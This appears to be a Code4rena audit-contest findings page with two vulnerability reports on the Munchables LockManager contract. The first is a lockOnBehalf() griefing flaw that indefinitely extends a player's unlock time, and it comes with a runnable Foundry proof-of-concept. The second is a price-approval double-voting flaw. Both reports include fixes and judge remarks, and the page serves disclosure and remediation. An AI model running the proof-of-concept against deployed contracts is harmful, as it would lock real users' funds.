Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 59/126
Findings: 2
Award: $0.01
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Circolors
Also found by: 0rpse, 0x175, 0xAadi, 0xHash, 0xMax1mus, 0xMosh, 0xblack_bird, 0xdice91, 0xfox, 0xhacksmithh, 0xloscar01, 0xrex, 4rdiii, Audinarey, AvantGard, Bigsam, DPS, Dots, Drynooo, Dudex_2004, Evo, Kaysoft, King_, Limbooo, MrPotatoMagic, PENGUN, Sabit, SovaSlava, SpicyMeatball, TheFabled, Utsav, Varun_05, Walter, adam-idarrha, araj, aslanbek, ayden, bctester, biakia, bigtone, brgltd, carrotsmuggler, cats, crypticdefense, dd0x7e8, dhank, fandonov, fyamf, grearlake, iamandreiski, ilchovski, jasonxiale, joaovwfreire, lanrebayode77, m4ttm, merlinboii, niser93, nnez, octeezy, oxchsyston, pamprikrumplikas, rouhsamad, tedox, trachev, turvy_fuzz, twcctop, yotov721, zhaojohnson
0.0042 USDC - $0.00
The lockOnBehalf()
function in the LockManager
contract allows a user to lock tokens on behalf of another address. This function is particularly useful in scenarios where one entity controls the tokens but wishes to assign the locked tokens' benefits or responsibilities to another entity. However, an attacker can exploit this function to extend the unlock time of any player's tokens, effectively locking them forever.
The attacker can lock a player's tokens indefinitely, preventing the player from unlocking their funds even after the lock duration has been reached.
The lockOnBehalf()
function calls _lock
with the lock recipient address. This function does not ensure any minimum locking amounts. Please see Line 382 in the contract updates the unlock time with the player's lock duration:
382: lockedToken.unlockTime = 383: uint32(block.timestamp) + 384: uint32(_lockDuration);
An attacker can call lockOnBehalf()
with any amount, including zero, before the player unlocks their funds, thereby increasing the player's unlock time. This allows the attacker to lock the player's funds indefinitely.
To demonstrate the issue, the logLockedTokens()
function in src/test/MunchablesTest.sol
contract is updated to log the UnlockTime
:
function logLockedTokens(string memory _msg) internal view { ILockManager.LockedTokenWithMetadata[] memory lockedTokens = lm .getLocked(address(this)); console.log("-------------------------------"); console.log(_msg); for (uint i; i < lockedTokens.length; i++) { if (lockedTokens[i].tokenContract == address(0)) { console.log( "ETH Locked:", lockedTokens[i].lockedToken.quantity ); console.log( "Remainder:", lockedTokens[i].lockedToken.remainder ); + console.log( + "UnlockTime:", + lockedTokens[i].lockedToken.unlockTime + ); } } console.log("-------------------------------"); }
Save the below code in src/test
folder as LockManagerTest.t.sol
and run forge test --match-path src/test/LockManagerTest.t.sol --match-test testReminder -vv
to execute the test.
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.25; import "forge-std/Test.sol"; import "../interfaces/ILockManager.sol"; import {console} from "forge-std/console.sol"; import "./MunchablesTest.sol"; contract LockManagerTest is MunchablesTest { uint256 lockAmount = 100e18; address attacker = address(1); uint256 lockDuration = 90 days; function testIncreaseUnlockedTime() public { deployContracts(); // Register Player amp.register(MunchablesCommonLib.Realm(3), address(0)); // Set Lock Duration lm.setLockDuration(lockDuration); // Lock 100 Ether lm.lock{value: lockAmount}(address(0), lockAmount); // warp by lock time and check we can unlock logPlayer("Player after lock"); logLockedTokens("After First Lock"); uint256 unlockTime = block.timestamp + lockDuration; console.log("Warping to", unlockTime); vm.warp(unlockTime); console.log("Warped to:", block.timestamp); // Attacker deal(attacker, 1000e18); // Lock 0 Ether on behalf of the player vm.startPrank(attacker); lm.lockOnBehalf(address(0), 0, address(this)); // Here you can see the unlock time increased by 90 days more logLockedTokens("After Attack Lock"); vm.stopPrank(); // Unlock of player will fail here // Players will not able to unlock their fund vm.expectRevert(ILockManager.TokenStillLockedError.selector); lm.unlock(address(0), lockAmount); } }
Manual Review
Add functionality to set a minimum lock amount by players to ensure the users should lock at least the minimum amount while locking on behalf of him. Also, add a mapping that is used to enable and disable on behalf locking.
Sample Code Snippet:
+ // Add a isLockOnBehalfActive which can be set by players to enable/disable on behalf locking + mapping(address => bool) isLockOnBehalfActive; + function setLockOnBehalfActive(bool isActive) external { + isLockOnBehalfActive[msg.sender] = isActive; + } /// @inheritdoc ILockManager function lockOnBehalf( address _tokenContract, uint256 _quantity, address _onBehalfOf ) external payable notPaused onlyActiveToken(_tokenContract) onlyConfiguredToken(_tokenContract) nonReentrant { address tokenOwner = msg.sender; address lockRecipient = msg.sender; if (_onBehalfOf != address(0)) { + require(isLockOnBehalfActive[msg.sender]); lockRecipient = _onBehalfOf; } _lock(_tokenContract, _quantity, tokenOwner, lockRecipient); }
Other
#0 - c4-judge
2024-06-05T12:58:51Z
alex-ppg marked the issue as partial-75
🌟 Selected for report: robertodf99
Also found by: 0xAadi, 0xAkira, 0xdice91, 0xhacksmithh, 0xleadwizard, AgileJune, Bauchibred, Bbash, Beosin, Bigsam, Dots, EPSec, EaglesSecurity, Eeyore, Evo, John_Femi, Mahmud, MrPotatoMagic, RotiTelur, Rushkov_Boyan, Sabit, Sentryx, Stormreckson, Topmark, Tychai0s, Utsav, Walter, ZanyBonzy, ZdravkoHr, adam-idarrha, araj, aslanbek, avoloder, bigtone, brevis, brgltd, carrotsmuggler, crypticdefense, dd0x7e8, dhank, djanerch, falconhoof, iamandreiski, joaovwfreire, leegh, merlinboii, mitko1111, pamprikrumplikas, pfapostol, prapandey031, swizz, trachev, twcctop, typicalHuman, unique, xyz
0.0148 USDC - $0.01
The approveUSDPrice()
function in the LockManager
contract is designed to approve a price update proposal, while the disapproveUSDPrice()
function is meant to mark disapproval for the proposed price. The vulnerability is, the approveUSDPrice()
function allows price feed updaters to mark their approval even after their disapproval to the same proposal without reducing the disapprovalsCount
.
This vulnerability allows price feed updaters to double-cast their votes. This means a price feed updater can disapprove a proposal and then approve it without their disapproval being properly accounted for, potentially manipulating the proposal approval process.
The vulnerability lies in the code below. The approveUSDPrice()
function checks if the user has already approved in line 194, but it fails to check whether the user has already marked their disapproval.
function approveUSDPrice( uint256 _price ) external onlyOneOfRoles( [ Role.PriceFeed_1, Role.PriceFeed_2, Role.PriceFeed_3, Role.PriceFeed_4, Role.PriceFeed_5 ] ) { if (usdUpdateProposal.proposer == address(0)) revert NoProposalError(); if (usdUpdateProposal.proposer == msg.sender) revert ProposerCannotApproveError(); 194: @> if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId) revert ProposalAlreadyApprovedError(); if (usdUpdateProposal.proposedPrice != _price) revert ProposalPriceNotMatchedError();
The disapproveUSDPrice()
function successfully implements this check, preventing double voting. The checks in the disapproveUSDPrice()
function are shown below:
225: if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId) 226: revert ProposalAlreadyApprovedError(); 227: if (usdUpdateProposal.disapprovals[msg.sender] == _usdProposalId) 228: revert ProposalAlreadyDisapprovedError();
Manual Review
Include a check to ensure that the user has not disapproved the proposal before allowing them to approve it.
Sample code snippet:
function approveUSDPrice( uint256 _price ) external onlyOneOfRoles( [ Role.PriceFeed_1, Role.PriceFeed_2, Role.PriceFeed_3, Role.PriceFeed_4, Role.PriceFeed_5 ] ) { if (usdUpdateProposal.proposer == address(0)) revert NoProposalError(); if (usdUpdateProposal.proposer == msg.sender) revert ProposerCannotApproveError(); if (usdUpdateProposal.approvals[msg.sender] == _usdProposalId) revert ProposalAlreadyApprovedError(); + if (usdUpdateProposal.disapprovals[msg.sender] == _usdProposalId) + revert ProposalAlreadyDisapprovedError(); if (usdUpdateProposal.proposedPrice != _price) revert ProposalPriceNotMatchedError(); usdUpdateProposal.approvals[msg.sender] = _usdProposalId; usdUpdateProposal.approvalsCount++; if (usdUpdateProposal.approvalsCount >= APPROVE_THRESHOLD) { _execUSDPriceUpdate(); } emit ApprovedUSDPrice(msg.sender); }
Other
#0 - c4-judge
2024-06-05T12:41:25Z
alex-ppg changed the severity to 2 (Med Risk)
#1 - c4-judge
2024-06-05T12:41:30Z
alex-ppg marked the issue as satisfactory
#2 - c4-judge
2024-06-05T12:42:27Z
alex-ppg removed the grade
#3 - c4-judge
2024-06-05T13:10:55Z
alex-ppg marked the issue as satisfactory